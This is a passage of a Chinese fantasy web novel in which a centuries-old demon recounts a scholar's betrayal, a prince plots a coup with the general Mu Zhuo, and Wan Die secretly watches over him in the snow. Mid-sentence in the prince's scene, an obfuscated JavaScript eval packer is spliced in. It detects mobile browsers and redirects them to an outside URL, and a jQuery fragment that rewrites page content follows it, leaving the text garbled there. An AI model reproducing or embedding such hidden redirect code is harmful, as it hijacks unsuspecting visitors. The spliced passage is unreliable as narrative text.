丁灵喝醉的那天晚上，窗外下着雨。
不是什么大雨，是那种细细的、绵绵的、能下好几天的春雨。雨丝落在窗棂上，发出轻微的沙沙声，像有人在轻轻说着什么，说着那些说不出口的事。
宛楪坐在她对面，看着她一碗接一碗地喝酒。
“别喝了。”她说。
丁灵抬起眼，看了她一下，那眼神空空的，像透过她在看别的什么。然后她笑了一声，笑得人心底发凉。
“怎么，怕我喝死？”她把酒碗往桌上一放，发出“砰”的一声，酒液溅出来，洒在桌上，“我死不了。我活了八百年了，想死都死不了。”
宛楪没有说话。
丁灵又倒了一碗，端起来，看着碗里晃动的酒液。烛光映在里面，一晃一晃的，像那些早该忘记却怎么也忘不掉的往事。
“你知道我为什么最讨厌人类吗？”
宛楪知道。她听过那个故事——那个背叛、出卖、绝境逢生的故事。但她没有说，只是等着。她知道丁灵要说，不是因为想告诉她，是因为那些话在心里压了太久，再不说就要把自己压碎了。
丁灵沉默了一会儿，窗外的雨沙沙地响着。
然后她开始讲。
“三百年前，我还是个刚化形没多久的小妖。什么都不懂，什么都不怕，觉得这人间真好玩。”
她的声音很轻，像是从很远很远的地方飘来的，飘过三百年的光阴，飘过那些再也回不去的日子。
“然后我遇见了他。”
她顿了顿，把碗里的酒喝了一半。
“他是个书生，进京赶考，半路上遇见了山匪。我救了他，把他带回我的山洞里养伤。他伤好了，说要报答我。我说不用，他说不行，一定要报答。”
丁灵笑了一下，笑容很淡，淡得像要化在雨里。
“他问我要什么。我说，你给我讲个故事吧。我那时候刚化形，什么都不懂，想知道人间是什么样的。”
“他就开始讲。讲他读过的书，讲他见过的风景，讲他小时候养过的一条狗。我听得入迷，听着听着，天就亮了。”
她说到这里，嘴角微微弯起来，像是真的想起了什么好的事。可那笑只停留了一瞬，就消失不见了。
“后来他说，他要进京赶考了，问我愿不愿意跟他一起去。我说好。”
她就这么跟着那个书生进了京城。
书生租了一间小院，她住在里面，帮他洗衣做饭，替他磨墨铺纸。他读书到深夜，她就在旁边陪着，有时变成原形，缠在他的笔杆上，看他写字。那些字一个一个落下来，落在纸上，也落在她心里。
“他那时候对我很好。”丁灵说，声音更轻了，“真的很好。他会给我买糖吃，会在我睡着的时候给我盖被子，会在月下给我梳头发。”
她的手指动了动，像是还能感觉到那些落在发间的手指，温柔的，小心的，像对待什么珍贵的东西。
“他说等他高中了，就娶我。我说我是妖。他说他不怕。”
丁灵顿了顿，端起酒碗，喝了一大口。酒液顺着嘴角流下来，她也不擦，就那么任它流着。
“后来他真的高中了。探花，第三名。他高兴得像个孩子，抱着我在院子里转圈。我也高兴，以为好日子要来了。”
“然后呢？”宛楪问。
丁灵放下酒碗，看着窗外的雨。雨还在下，沙沙沙沙，像在替谁哭。
“然后他的上司知道了我的事。那个人说，如果你把这个妖的来历交代清楚，我就保你进翰林院。如果你不说，你这辈子就别想往上爬了。”
她转过头，看着宛楪。烛光映在她眼里，一晃一晃的。
“你猜他选了什么？”
宛楪没有猜。
丁灵笑了一下，那笑容里什么都没有。空的，像一口枯井。
“他选了进翰林院。”
“那天夜里，他给我灌了迷药。我醒过来的时候，已经被捆仙索绑住了，周围全是捉妖师。他站在人群外面，不敢看我。”
她的声音开始发抖，可她还是继续说下去。
“我喊他的名字，喊了一夜。他始终没有回头。”
窗外的雨忽然大了一些，噼里啪啦地打在窗棂上。
“后来呢？”宛楪问。
“后来？”丁灵又笑了一下，这回笑得眼眶都红了，“后来我逃出来了。九死一生，差点魂飞魄散。我花了三十年养伤，又花了三十年找他。”
“找到他的时候，他已经老了，头发白了，背也驼了。他认不出我，但我一眼就认出了他。”
“你知道我做了什么吗？”
宛楪看着她，看着她眼里那些翻涌的东西。
丁灵端起酒碗，喝了一口，声音平静得像在说明天的天气。
“我亲手把他埋了。”
“埋在一个山坡上，面朝着京城的方向。我想让他看着那个他拿命换来的前程，看到死。”
她放下酒碗，看着窗外的雨。
“埋他的时候，我哭不出来。我站在那里，站了很久，一滴眼泪都没有。后来我才知道，那是心死了。”
“从那以后，我就告诉自己：不要喜欢人类。不要靠近人类。不要对人类动心。”
她转过头，看着宛楪。眼里有泪光，在烛光里一闪一闪的，可始终没有落下来。
“你知道埋一个人的时候是什么感觉吗？”
宛楪没有说话。
丁灵笑了笑，那笑容里带着三百年的伤。
“所以我跟你说，不要喜欢人类。不是因为他们坏，是因为……你掏心掏肺对他，他回头就能把你卖了。他们心里，有太多比情更重的东西。”
宛楪沉默了很久。
然后她开口：“他不一样。”
丁灵看着她。
“谁不一样？你那个慕酌？”
宛楪没有回答。
丁灵看着她，看了很久。雨声沙沙地响着，烛火轻轻地晃着。
然后丁灵轻轻叹了口气。
“宛楪啊。”她叫的是宛楪的本名，声音里带着一种说不清的东西——像是羡慕，又像是担心，“你比我幸运。至少他值得。”
宛楪低下头，看着自己手里的茶盏。茶已经凉了，可她还是端着，像是端着什么重要的东西。
值得吗？
她不知道。
但她知道，那天在天机楼外，她说了那句话之后，她的心也疼了一下。
只是一下。很轻，很快就过去了。
但她记得。
雨还在下，沙沙的，轻轻的，像有人在说着什么，说着那些说不出口的事。
丁灵又倒了一碗酒，端起来，对着窗外的雨举了举。
“敬那些回不去的日子。”她说。
然后一饮而尽。
酒液滚落喉咙的时候，她闭上眼睛。有什么东西从眼角滑下来，分不清是泪还是雨。
入冬了。
第一场雪落下来的时候，荣王再次来到将军府。
这回他没有在书房见慕酌，而是把人叫到了花园里的暖亭。亭子里烧着炭盆，煮着热茶，他坐在那里，披着一件狐裘，像任何一个慈祥的长辈。
“坐。”他指了指对面的位置。
慕酌坐下。
荣王给他倒了一杯茶，推过去。茶汤澄黄，热气袅袅地升起来，在两个人之间隔了一层薄薄的白雾。
“尝尝，今年的新茶。”
慕酌端起来，抿了一口。
“好茶。”他说。
荣王笑了笑，也端起自己的茶，慢慢品着。他的眼睛却没有看茶，而是隔着茶雾看着慕酌，像是要从那张脸上看出什么来。
沉默了一会儿，荣王开口了。
“皇帝的身体，越来越不行了。”
慕酌的茶杯顿了一下。很轻，只是一瞬间的事。
荣王继续说：“太医说，最多一年。也可能更短。”
他看着慕酌，眼神温和，像任何一个关心晚辈的长辈。
“我们的时机，快到了。”
慕酌放下茶杯，点了点头。
“荣王叔说得是。”
荣王看着他，看了一会儿。雪落在暖亭的顶上，发出轻微的簌簌声。
“酌儿，我怎么觉得你最近心不在焉？”
慕酌抬起眼，笑了笑。那笑容恰到好处，不多不少，刚好让荣王挑不出毛病。
“没有。只是在想怎么杀那个狗皇帝。”
荣王看了他一会儿，也笑了。
“好，有这份心就好。”
他又给慕酌倒了一杯茶。
“不过你要记住，杀他不是目的。夺回皇位才是。杀了他之后，你怎么坐稳那个位置，才是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275853|198236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最重要的。”
慕酌点头。
“荣王叔教导得是。”
荣王看着他，眼神里有什么东西一闪而过。太快了，快得让人来不及看清是什么。
然后他站起来，拍了拍慕酌的肩。
“我走了。你自己小心。最近朝堂上不太平，别让人抓住把柄。”
“是。”
荣王走了。
慕酌坐在暖亭里，看着他的背影消失在雪里。那个背影走得不快不慢，一步一步，踏在雪上，留下一串深深的脚印。
然后他低下头，看着面前那杯茶。
茶已经凉了。
他端起来，一饮而尽。
凉的，苦的，但能让人清醒。
他按了按胸口的纸条，站起来，走进雪里。
雪还在下，落在他肩上，落在他发上，落在他脸上。冰凉的，一片一片，落在皮肤上就化了，化成一点点凉意，渗进骨子里。
他没有躲。
就让雪落着吧。
至少雪是干净的。
年关将至的时候，丁灵把宛楪叫到自己的房间。
“你那个慕酌，最近可能有麻烦。”
宛楪看着她。
丁灵靠在窗边，手里拿着一封信。窗外飘着雪，她的脸在雪光里显得有些白。
“荣王的人最近在查天机楼。”
宛楪的眼神动了一下。很轻，像雪落在水面上，起了一圈小小的涟漪。
“查什么？”
“查我们和谁有来往，查我们替谁办过事，查——”丁灵顿了顿，看着她，眼神里有些什么，“查你和慕酌有没有关系。”
宛楪沉默了一会儿。
“他怎么知道的？”
“不知道。”丁灵把信递给她，“但他在查。而且查得很细。”
宛楪接过信，看了一遍。信里写得很简单：荣王的人最近频繁出入京城的各个情报点，打听天机楼的事，尤其是打听天机楼客卿的事。字迹潦草，像是匆忙写就的，可每一个字都像一根刺。
“他怀疑你了。”丁灵说。
宛楪把信放下。
“随他。”
丁灵看着她，忽然笑了。那笑容里带着几分无奈，几分了然。
“你嘴上说随他，心里是不是已经在想怎么护着那个男人了？”
宛楪没说话。
窗外的雪还在下，一片一片，落在窗棂上，积了薄薄的一层。
丁灵叹了口气。
“去吧。想去就去。”
宛楪看了她一眼。
丁灵摆摆手：“别装了。你那点心思，瞒得过谁？”
宛楪沉默了一会儿，然后站起来，往外走。
走到门口的时候，她停了一下。
“丁灵。”
“嗯？”
“谢谢你。”
丁灵愣了一下。她们认识这么久，宛楪从来没有说过这两个字。
然后她笑起来，笑得眼眶都红了。
“谢什么，咱俩谁跟谁。”
宛楪没有回头，走了出去。
那天晚上，她去了将军府。
只是远远地看着。
雪还在下。她站在一棵老槐树的阴影里，看着那个院子，看着院子里那个人。
他站在院子里，对着月亮发呆。雪落在他身上，落了一层又一层，他也不动，就那么站着，像一尊雪雕。
她看见他按着胸口，嘴唇动了动，不知道在说什么。可她知道他说的是什么。
他说的是那张纸条上的字。
“平安勿念。”
她看了很久很久。
雪花落在她身上，她也一动不动。就那么看着，看着月光下那个人的轮廓，看着他肩上的雪越积越厚，看着他呼出的白气在夜风里散开。
她想走过去。
可她不能。
她告诉自己：只是看看真身有没有异动。
可她知道不是。
真身没有异动。
有异动的是她自己。
最后她转过身，走进雪里。
走了很远之后，她回头看了一眼。
那个院子已经看不清了，只有一点灯火在雪里明明灭灭，像一颗不肯熄灭的心。
她看了很久，然后继续往前走。
雪落了她一身。